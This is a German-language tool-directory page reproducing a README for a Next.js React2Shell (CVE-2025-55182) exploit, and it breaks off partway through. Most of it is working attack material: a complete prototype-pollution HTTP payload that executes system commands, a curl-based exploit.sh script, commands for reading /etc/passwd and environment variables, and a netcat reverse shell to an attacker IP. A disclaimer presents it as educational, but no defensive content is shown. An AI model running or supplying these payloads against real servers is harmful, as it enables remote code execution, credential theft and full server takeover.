Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
react2shell-exploit — CVE-2025-55182, auch bekannt als React2Shell, ist eine kritische Sicherheitslücke, die Next.js-Anwendungen betrifft, die React Server Components (RSC) und Server Actions verwenden. | Kitploit
Tools/GitHubGitHub/yannisduvignau/react2shell-exploit
ExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRemote-Access-ToolPayload-Entwicklung
GitHubyannisduvignau/react2shell-exploit

react2shell-exploit

CVE-2025-55182, auch bekannt als React2Shell, ist eine kritische Sicherheitslücke, die Next.js-Anwendungen betrifft, die React Server Components (RSC) und Server Actions verwenden.

Repository anzeigen
21vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-55182 – React2Shell

Ausführung von Remote-Code in Next.js

⚠️ Haftungsausschluss: Diese Dokumentation dient ausschließlich zu Bildungs- und Sicherheitsforschungszwecken. Die unbefugte Nutzung dieser Techniken gegen Systeme, die dir nicht gehören oder für die du keine ausdrückliche Erlaubnis zum Testen hast, ist illegal.


📋 Inhaltsverzeichnis

  1. Überblick
  2. Funktionsweise
  3. Installation & Einrichtung
  4. Schritt-für-Schritt-Ausnutzung
  5. Ergebnisse & Auswirkungen
  6. Abwehrstrategien

Überblick

CVE-2025-55182, auch bekannt als React2Shell, ist eine kritische Schwachstelle, die Next.js-Anwendungen betrifft, die Folgendes verwenden:

  • React-Server-Komponenten (RSC)
  • Server-Aktionen

Warum ist es gefährlich?

Ein Angreifer kann eine Ausführung von Remote-Code (RCE) auf dem Server erreichen, indem er Folgendes ausnutzt:

  1. Unsicheres Deserialisieren von RSC-Nutzlasten
  2. Prototyp-Verschmutzung via __proto__ und constructor
  3. Dynamische Ausführungspfade in der Next.js-Serverlaufzeit

Konsequenz: Beliebige Systembefehle können mit den Rechten des Node.js-Prozesses ausgeführt werden.


Funktionsweise

Stufe 1: Next.js RSC-Protokoll

Next.js verwendet ein eigenes Multipart/Form-Data-Protokoll für die Kommunikation zwischen Client und Server:

  • Der Client sendet React-Server-Komponenten an den Server
  • Der Server deserialisiert und verarbeitet sie
  • Das Ergebnis wird an den Client zurückgegeben
Client (Browser)
    ↓
[Multipart/Form-Data RSC-Nutzlast]
    ↓
Next.js-Server
    ↓
Deserialisierung + Ausführung
    ↓
Antwort

Stufe 2: Die Schwachstelle – Unsicheres Deserialisieren

Die Schwachstelle besteht, weil:

  1. Vom Benutzer gesteuerte Daten werden vor der Deserialisierung nicht validiert
  2. Der Zugriff auf die Prototypenkette ist erlaubt (__proto__, constructor)
  3. Bestimmte Felder werden während der Anfrageverarbeitung dynamisch ausgewertet

Stufe 3: Prototyp-Verschmutzungsangriff

Ein Angreifer kann eine Nutzlast erstellen, die interne Objekt-Eigenschaften verändert:

{
  "then": "$1:__proto__:then",  // Zielt auf die Prototypenkette
  "_response": {
    "_prefix": "bösartiger Code hier"  // Code-Injektion
  }
}

Durch Ausnutzung von __proto__ verschmutzt der Angreifer den Prototyp von JavaScript-Objekten und wirkt sich so auf alle Objekte aus, die davon erben.

Stufe 4: Code-Injektion

Im Feld _prefix injiziert der Angreifer JavaScript-Code, der:

  1. Auf das Node.js-Modul zugreift via process.mainModule.require()
  2. Das Modul child_process lädt
  3. Systembefehle ausführt mit execSync()
var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();

Stufe 5: Ergebnis-Extraktion

Das Befehlsergebnis wird in der Fehlerantwort versteckt:

throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});

Next.js gibt diesen Fehler an den Client zurück, und die Befehlsausgabe ist im Feld digest sichtbar.


Installation & Einrichtung

Voraussetzungen

  • Node.js 20
  • Burp Suite (oder ein ähnliches Tool zum Abfangen von Anfragen)
  • curl oder Postman (zum Senden von Nutzlasten)

Schritt 1: Server klonen und installieren

# PoC klonen
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182

# Node.js 20 installieren
nvm install 20
nvm use 20

# Abhängigkeiten installieren
cd test-server
npm install

Schritt 2: Server starten

npm run dev

Der Server ist nun erreichbar unter:

http://localhost:3000

Schritt 3: Überprüfen, ob der Server läuft

curl http://localhost:3000/

Zu diesem Zeitpunkt verhält sich der Server normal.


Schritt-für-Schritt-Ausnutzung

Ansatz 1: Verwendung von Burp Suite (Manuelles Abfangen)

Schritt 1: Abfangen aktivieren

  1. Burp Suite öffnen
  2. Zum Tab Proxy → Intercept gehen
  3. Intercept is on aktivieren
  4. Im Browser http://localhost:3000/ aufrufen

Schritt 2: Die Anfrage abfangen

Eine GET-Anfrage wird abgefangen. Sende sie zum Tab Repeater:

  1. Rechtsklick → Send to Repeater
  2. Zum Tab Repeater gehen

Schritt 3: Durch bösartige Nutzlast ersetzen

Ersetze die gesamte Anfrage durch folgende Nutzlast:

POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Schritt 4: Anfrage senden

Klicke Send


Ansatz 2: Automatisiertes Exploit-Skript

Erstelle eine Datei exploit.sh:

#!/bin/bash

TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"

# Nutzlast erstellen
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)

# Befehl ersetzen
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"

# Anfrage senden
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
  -H "Next-Action: x" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
  --data-raw "$PAYLOAD"

Ausführbar machen:

chmod +x exploit.sh
./exploit.sh

Beispielbefehle

Dateien und Verzeichnisse auflisten

COMMAND="ls -la /"

Aktuellen Benutzer abrufen

COMMAND="whoami"

Eine Datei lesen

COMMAND="cat /etc/passwd"

Netzwerkverbindungen prüfen

COMMAND="netstat -tuln"

Umgebungsvariablen abrufen

COMMAND="env"

Reverse Shell (Vollständiger Serverzugriff)

Um vollständigen interaktiven Shell-Zugriff zu erhalten, verwende eine Reverse Shell.

Auf dem Angreifer-Rechner: Auf Verbindungen lauschen

ncat -lvnp 9009

Oder mit netcat:

nc -lvnp 9009

Auf dem Ziel: Reverse-Shell-Nutzlast senden

Ändere die Nutzlast mit folgendem Befehl (ersetze <ATTACKER_IP> durch deine IP-Adresse):

COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"

Die vollständige Nutzlast wird zu:

Tool herunterladen